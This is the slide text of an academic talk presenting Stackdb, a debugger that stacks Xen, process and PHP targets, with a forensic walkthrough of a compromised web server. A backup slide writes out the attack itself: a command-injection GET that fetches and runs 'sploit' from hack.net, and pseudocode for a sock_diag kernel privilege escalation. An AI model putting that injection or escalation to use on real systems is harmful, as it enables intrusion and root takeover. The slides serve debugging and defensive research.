Composable Multi-Level Debugging With Stackdb

David Johnson, Mike Hibler, Eric Eide
University of Utah

VEE ’14 | March 2, 2014
A Linux Server Under Attack?

- Some user (?) sending lots of GETs
- A strange task with root permissions!
What Happened?

- Examine static system state (i.e. memory forensics)
  - Kernel thread stack traces
  - Userspace thread stack traces
  - Userspace process hierarchy and permissions
  - Source program variables

- Active debugging (on replay or future runs)
  - Trace execution: breakpoints, single step
  - Find transient parts of attack that may have vanished

- We need a debugger at each level of the system!
Existing Debuggers?

- Single-target debuggers: KGDB, GDB, xdebug (PHP)
  - Run KGDB outside
  - Can’t run GDB inside; can’t run it outside
  - Must setup xdebug prior to running Apache; can’t control outside

- Special-purpose multi-level
  - Blink (Java/C/JNI): switches between GDB and JDB; unifies them
  - DroidScope (HW, OS, Dalvik): different user API for each level

- Great point solutions, but not principled approaches to debugging arbitrary software stacks
Our Contribution: Stackdb

- Framework to implement one debugger atop another debugger
  - Stack targets in one debugger
- Debug whole system at multiple layers
  - Cross-layer analyses!
- Same debug tool applies to different layers
- Compose different stacks of debuggers
- Built several real, working targets
Design Challenges
Can Each Level Be a Target?

- A target: object inside debugger that provides access to an executing program

- Debugger targets do three things:
  - Attach (receive exceptions)
  - Model (discover layout, etc)
  - Control (handle exceptions)

- Design goals and constraints
  - Remain “outside” of whole system
  - Minimize modification of execution
    - Breakpoints ok
    - Thread “rescheduling” bad
  - Must not require supportive execution from inside system
Challenge #1: Attaching

- Base Xen/Linux target is easy
  - Uses `xenctrl` API to get debug exceptions, modify kernel, CPU
  - Control thread scheduling to ensure atomic breakpoint handling (pause vCPUs)

- How to attach to next level up (process)?
  - Can’t just use existing API (like GDB/ptrace)
  - Can’t interfere with kernel providing ptrace functionality **inside**
Solution #1: Stacking

- Attach **using** the underlying target—create a stack!
  - Create **overlay** target atop underlying target thread(s)

- Generic Target API enables stacking
  - Applies to any target; “exported” by any target

- Underlying target forwards debug exceptions to overlay

- Overlay constructs a **model** of its program by applying Target API to underlying target
  - i.e., Process target reads process’s mmap by reading kernel data structures from Xen target
Challenge #2: Target Diversity

- Different execution models and languages in system stack
  - Kernel, process—low-level ISA
  - High-level runtime language—bytecodes
  - Some provide raw memory/CPU access; others do not
Solution #2: Target Model

- Machine-like target model
  - But flexible to higher-level languages

- Multiple threads
- Address spaces
- Symbols—static/dynamic typed
- Pause/resume
- Probes (breakpoints, …)
- Stepping (instructions, …)
Solution #2: APIs

- Targets: really implemented by *drivers*

- Driver provides access to a particular software layer
  - Low-level details of attaching, modeling, and control of an executing program
  - Driver API: read/write CPU/memory, load symbols, insert breakpoints, single step, unwind stack

- Target API: called by users *and* overlay drivers
Challenge #3: Stay in Control

- How do debuggers handle breakpoints in multithreaded targets?
  - Only single step the thread at the breakpoint; pause others

- Easy for base driver—controls thread execution

- But overlay targets have no API to control threads!
Challenge #3: Stay in Control

User Analysis

probe(php_handler)

BP

Target API

Process

Target

Driver API

Process

Driver

SS

Xen

Driver

IntSsExc

Xen

Target

Target API

BP

INT

Xen

CPU

B

SsExc

xenctrl

Apache
Solution #3: Tracking Context

- Overlay drivers must provide *illusion* of control!
- Cooperation between overlay and underlying drivers
- Underlying driver checks if overlay op happened as intended
  - Notifies overlay driver
- Several similar situations described in paper…
Challenge #4: Overhead

- Normal handling of debug exception—single step and read some data—requires several context switches

- Stacking can add more overhead than normal debuggers

- Each target must maintain a model of its program...
  - Thread creation/deletion
  - Memory layout changes

Solutions:
- When underlying target threads/memory change, notify overlay targets
- Cache target state, memory
Challenge #5: Building Drivers

- Adding overlay drivers should be as easy as possible

- Base drivers can be easier: good debug API can help create model
  - ptrace can tell GDB when threads come and go
  - GDB can read /proc/<pid>/maps to get mem layout

- Overlay drivers don’t have an API…
  - Must build model by reading memory or self-probing underlying target
Solution #5: Symbols

- Use underlying target’s symbols to read overlay target info
  - i.e., Process driver uses Xen target to read Linux kernel per-process mmap

- Symbols help drivers cope with different versions of target programs

- Stackdb provides a flexible, fast symbol API
  - Static, strongly-typed symbols, **and** dynamic, dynamically-typed symbols
  - C, C++, and some PHP symbols (ELF, DWARF)
Putting It All Together for VMI

User Analysis

TargetAPI

PHP Target

DriverAPI

PHP Driver overlay

TargetAPI

Process Target

DriverAPI

Process Driver overlay

TargetAPI

Xen Target

DriverAPI

Xen Driver base

xenctrl

TargetAPI

PHP

TargetAPI

Apache

TargetAPI

Linux

TargetAPI

Xen

CPU/Mem
Using Stackdb
Target API: For Users & Drivers

- Debugging library: normal stuff
  - Pause and resume targets
  - Pause and resume individual threads (if driver supports it)
  - Read/write CPU and memory
  - Probes (breakpoints, watchpoints)
  - Fast symbol lookup
  - Load and store symbol values
  - Disassemble code blocks
  - Stack unwinding

- Unusual stuff: how to create stacks of targets
Overlays: Stacking Targets

- User creates overlay targets for each interesting level of the stack
  - Looks up a thread in current target, by name or id
  - Stackdb creates overlay target atop that thread

- Overlay targets can contain multiple threads from underlying target

- “Recipe” for building new overlay drivers for higher-level languages described in paper
Tools Built Using Stackdb

- Most tools apply to any target
  - Some apply to hierarchies of overlay targets at once!

- Several utility tools that...
  - Probe functions/variables and dump or filter argument values
  - Dump thread info and stack traces

- Two powerful security tools
  - rop_checkret (Return-oriented programming detector)
  - cfi_check (Shadow-stack-based control flow integrity checker)

- OS tools
  - strace
Implementation
Stackdb

- Written in C (~100 KLOC)
- Supports x86 and x86_64 arches
- Low-level interface is Target API (C)
- Higher-level interface is a powerful SOAP web service
- Two base drivers; two overlay drivers…
Ptrace Base Driver

- Straightforward, like GDB
- Supports multithreaded Linux processes
Xen Base Driver

- Provides access to an OS running in Xen (currently Linux)
- Supports Xen 3.3 to 4.3, PV or HVM Linux guests (2.6.18 to 3.8.0)
- Uses xenctrl to attach to VM; get exceptions; read/write CPU and memory
- Creates a model of the kernel in Xen VM guest
  - Read the kernel’s task list to load threads
  - Read the kernel’s module list to create regions for dynamic modules
- Maintains model
  - Self-probes for thread create/delete and module load/unload
Process Overlay Driver

- Provides access to a Linux user-space process in a Xen VM
- Shares execution model with underlying target
  - Implements much of Driver API by calling directly to underlying target
- Models the process
  - Reads mmap from kernel data structures (regions, ranges, filenames)
- Maintains model by probing mmap-related syscalls in underlying target
PHP Overlay Driver

- Debug PHP scripts at PHP source level
  - Supports functions, function args, several basic PHP datatypes
  - Used the “overlay building” recipe in paper

- Completely different execution model
  - PHP function probes: place probes in underlying process target

- Reasonable development time—about 3 weeks of my time
  - Understanding its internal thread-local storage
  - Reading PHP engine’s C data structures to find dynamic types/vars
Two Different Stacks

PHP Target reused in each stack!
Sits atop different Process Targets
Applying Stackdb:
Root Cause Analysis
Somebody (?) sending lots of weird GETs

A strange task with root permissions!

// sploit escalates to root privileges
task->uid = 0;
Find the Fatal Flaw

- Use Xen target: probe Linux’s commit_creds() function

debuginfo:
function(commit_creds,line=414): int commit_creds (struct cred* new)

- Pause system on transition to root

probe output:
commit_creds (0x8108664b) (thread 1074)
new = { ... .uid = 33, .suid = 33, .euid = 33, ... }
commit_creds (0x8108664b) (thread 1081)
new = { ... .uid = 0, .suid = 0, .euid = ... }

- sploit (thread 1081) is now root; check it for bad control flow
Examine sploit

- How did sploit get root? ./backtrace kernel thread via Xen target

  thread 1081:
  #0 0x81086654 in commit_creds (new=0x3c502600)
  at linux-lts-raring-3.8.0/kernel/cred.c:415
  #1 0x004006c7 in ()

- Very bad: called commit_creds from userspace address

- Get parents of sploit; ./dumpthreads

  tid(1081): tid=1081,name=sploit,ptid=1078,tgid=1081,
  task_flags=406000,thread_info_flags=0,preempt_count=0,
  task=3d7add00,stack_base=0,pgd=3c5b5000,mm=3c966700,
  flags=1246,ip=81086654,bp=3d57db28,sp=3d57db20
  tid(1078): tid=1078,name=sh,ptid=1000,...
  tid(1000): tid=1000,name=apache2,ptid=995,...

- sploit descends from apache2; why did apache execute it?
Examine Apache

- Stack Process target atop Xen target; ./backtrace
- Reexamine Apache at C source level

**thread 1000:**

```
#0 0xaaa3b1d10 in ../sysdeps/unix/syscall-template.S ()
  at ../sysdeps/unix/syscall-template.S:82
#1 0xa6f96646 in php_stdiop_read (stream=?,buf=?,count=?)
  at php5/main/streams/plain_wrapper.c:346
#2 0xa6f8fec8 in php_stream_fill_read_buffer (...) at php5/main/streams/streams.c:603
#3 0xa6f90b99 in _php_stream_get_line (...) at php5/main/streams/streams.c:880
#4 0xa6f0cd35 in php_exec (...) at php5/ext/standard/exec.c:125
#5 0xa6f0d176 in php_exec_ex (ht=?,return_value=0xac318e10,mode=0)
  at php5/ext/standard/exec.c:239
#6 0xa7043ced in zend_do_fcall_common_helper_SPEC (execute_data=0xac33f610)
  at php5/Zend/zend_execute.c:471
#7 0xa6ff485b in execute (op_array=0xac3bf3e0) at php5/Zend/zend_execute.c:177
#8 0xa6f0fdcd in zend_execute_scripts (type=8,retval=0,file_count=3) at php5/Zend/zend.c:1309
#9 0xa6f7c433 in php_execute_script (primary_file=0xba4fb5b0) at php5/main/main.c:2323
#10 0xa705f2cd in php_handler (r=0xaac950a0) at php5/sapi/apache2handler/sapi_apache2.c:688
#11 0xaaebf508 in ap_run_handler () at apache2/mpm-prefork/apache2:-1
```

- Apache runs PHP interpreter
- PHP script performs an exec() ... so, look at PHP at source level!
Examine PHP

- Stack PHP target atop Process target; ./backtrace
- Reexamine Apache—at PHP source level!

Faulty script is “download.php”

Unchecked input argument (“uname”) being exploited

Malicious binary running via PHP’s built-in exec()
Summary: Stackdb

- Debug targets at any level of a system stack
- Provides an extensible framework to build new drivers, and composing stacks of targets
- Identified and solved challenges that complicate stacking
- Implemented several real, useful drivers for targets
- Performance good enough for interactive and live analysis

Stackdb is open source and available at http://www.flux.utah.edu/project/a3
Backup Slides
Performance
Thoughts and Intuition

- Expectations? Debuggers always impose a ton of overhead
  - How much is too much? Breaking app is bad; annoying user is tolerable?
  - Workload-dependent (if you probe a hot path, it’s your problem)

- Intuition for thinking about debugger performance:
  - Best case overhead is a function of base system interrupt-handling time
    - Xen: handle VMEXIT from guest; pass exception to Dom0; r/w CPU/mem; resume guest
    - Ptrace: handle process debug trap in OS; signal debugger process; r/w mem/CPU; context-switch
  - Stackdb’s source of additional overhead is “model maintenance”
    - Scanning memory to see if thread state, memory state, changes—or actively probing those paths to see when it does
    - The higher the stack of overlay targets, the more model maintenance (i.e. read mem) required

- Goal: show that it’s usable, although unoptimized
- Goal: show that stacking doesn’t add prohibitive overhead
Experiment

- Simple app: open() in C, fopen() in PHP; tight loop, fixed # iterations
  - Run in DomU and measure time for each iteration of open() loop
  - Stackdb runs in Dom0

- Platform: single quad-core 2.4GHz 64-bit server, 12GB RAM
  - Xen 4.3, Linux 3.8 paravirt guest

- 5 configurations (“stacks”) of Stackdb targets
  - 3 using Xen base: just Xen target; then add Process target; then add PHP target
  - 2 using Ptrace base: just Ptrace target; then add PHP target

- At each level, probe the appropriate open() function
  - sys_open in OS; open() in libc; fopen() in PHP
Results

- Times above: microseconds to execute one open() loop iteration
- Xen: significant overhead from VMI-based probes
  - Several VM context switches, reading memory
  - Absolute perf overhead is not large; fine for scripted/interactive use
- Process: less cost for libc open() probe than for sys_open OS probe?
  - Anomaly? No, just sys_open vs open
- PHP:
  - Does add significant overhead; this is “model maintenance”

<table>
<thead>
<tr>
<th>Source</th>
<th>Baseline</th>
<th>Xen</th>
<th>+Process</th>
<th>+PHP</th>
<th>Ptrace</th>
<th>+PHP</th>
</tr>
</thead>
<tbody>
<tr>
<td>C</td>
<td>3.95</td>
<td>1,449</td>
<td>1,308</td>
<td>---</td>
<td>391</td>
<td>---</td>
</tr>
<tr>
<td>PHP</td>
<td>8.15</td>
<td>1,477</td>
<td>1,314</td>
<td>8,897</td>
<td>1,412</td>
<td>3,194</td>
</tr>
</tbody>
</table>
- **Target**: an object that models a program at one level

- **Driver**: provides debug inspection and control of a type of program
  - **Base** drivers: use a well-defined API to attach to and control the system
  - **Overlay** drivers: *emulate* the well-defined API at their level by operating on an underlying target and its program

- **Target API**: an extensive library of functions to invoke against a Target
  - Callable both by user analyses *and* by Drivers (especially Overlay drivers)

- **Driver API**: set of low-level operations to control and monitor a program
  - Target API uses these to provide its generic functionality
Targets

- Primary object with which the user interacts, via Target API
- Corresponds to and models an executing program
  - Kernel, process, higher-level language/runtime…
- To debug a target, model it, and control its execution
- Generic target model: multiple threads sharing address space(s)
  - Each thread has its own CPU state
  - Each address space subdivided into regions and ranges
  - Symbols and source-level debuginfo associated with each region
- Controlling execution:
  - Thread-level pause/resume
  - Probes: breakpoints, watchpoints
  - Exception handling
Drivers and the Driver API

- A driver provides access to a particular software layer in the stack
- Attaches to, models, and controls a program executing at that layer
- Implements the Driver API
  - Generic Target API calls Driver API functions to perform low-level operations
  - model functions
    - loadSpaces, loadRegions, loadDebugfiles
  - control functions
    - pause/resume, monitor/poll, handleException, stepStart, stepEnd, handleOverlay Exception, handleInterruptedStep
  - probe functions
    - {add,del}SWBreak,HWBreak, probeSymbol
  - cpu/mem functions
    - {read,write}Reg, {read,write}Mem, v2p, {read,write}PhysMem
  - overlay functions
    - lookupOverlayThread, createOverlay
Probes

- Probes provide breakpoints and watchpoints
  - Users register pre and post handler callbacks
  - Users can schedule actions to occur on probe hits—single stepping, read/write mem/registers, abort a function

- Probes are hierarchical
  - Metaprobes register atop one or more basic or metaprobes
  - Metaprobes receive pre and post events from underlying probes
    - Can filter/reduce results, pass on to higher-level probes

- Several useful metaprobes:
  - Function entry/exit
  - Inlined symbol instances
  - Function instruction (probe all instances of chosen x86 instrs in function)
  - Symbol-value (probe a symbol; fire user handlers when regexp filters match)
    - Keeps per-stack record of invocations to handle recursive/nested function calls
Overlays: Exceptions

- Handling overlay exceptions:
  - If underlying and overlay targets share execution model…
    - Underlying target demuxes exception to itself, or an overlay, for handling
  - If not…
    - Overlay target must either receive exceptions from another source (unlikely)
    - Overlay driver must implement its probes by probing the underlying target
Creating a New Overlay Driver

How do I author an overlay Driver for a higher-level language… PHP?

- Understand the language execution engine and runtime
  - Probably you can’t hook into any internal debug support (malloc)…
  - …or choose not to use it to avoid modifying execution/control flow

- Model the target and provide control
  1. Create a simple memory model—single address space/region/range
  2. Create a thread for each language thread (direct, MxN, …)
  3. Read/parse/load symbol info, probably from underlying target’s memory
  4. Implement overlay probing by placing probes in the underlying target’s execution engine (hierarchical probes)
  5. Single stepping: step statements if possible; unwind frames if possible
  6. Disable irrelevant Driver API calls (i.e., no ReadReg for PHP!)
GET printhash.php?uname=ar/log/syslog ; wget hack.net/sploit.tar.gz ;
tar xzf sploit.tar.gz ; ./sploit

sploit(){commit_creds(prepare_cred(0));}
shcode = asm(".... call sploit");
nl_req.r.sdiag_family = bad_array_index;
sock = socket(PF_NETLINK,SOCK_DIAG);
mmap(magic_addr,len,MAP_ANON);
memset(magic_addr,0x90);
memcpy(shell_code,magic_addr+N);
send(sock,&nl_req);

__sock_diag_rcv_msg() {
    handlers[bad_array_index]-() ;
}

sploit() { commit_creds(); }

commit_creds() { task->uid = 0; }
Java... It’s Complicated

- Java debugging: JDB client connects to JDB-enabled JVM
  - JDB has to be enabled at JVM startup
  - JDB exposes symbols and types; provides JVM control (breakpoints, stepping, etc.)

- Problem: Stackdb cannot leverage JDB’s client<->server debug model from outside a VM
  - Would need to alter JVM’s execution flow, do funky client-server I/O

- Solution?
  - Observe and monitor the bytecode/JIT engine to implement debug control (breakpoints, stepping)
  - Read symbol and type info from memory
The Future

- Obvious optimizations—so little time, need to time-travel myself
  - Aggressive target mmap caching; page guards/shadow PT tricks; …

- Altering VM state more easily
  - Use the VM’s code “against itself” to change VM data structures
  - Hot VM clone; change execution in clone, speculatively, to determine data side effects and “apply” them without actually changing real VM execution

- Language interface
  - C/C++ good implementation language; but bad user-level language
  - Hook Stackdb up to a “debugger DSL” and/or a dataflow language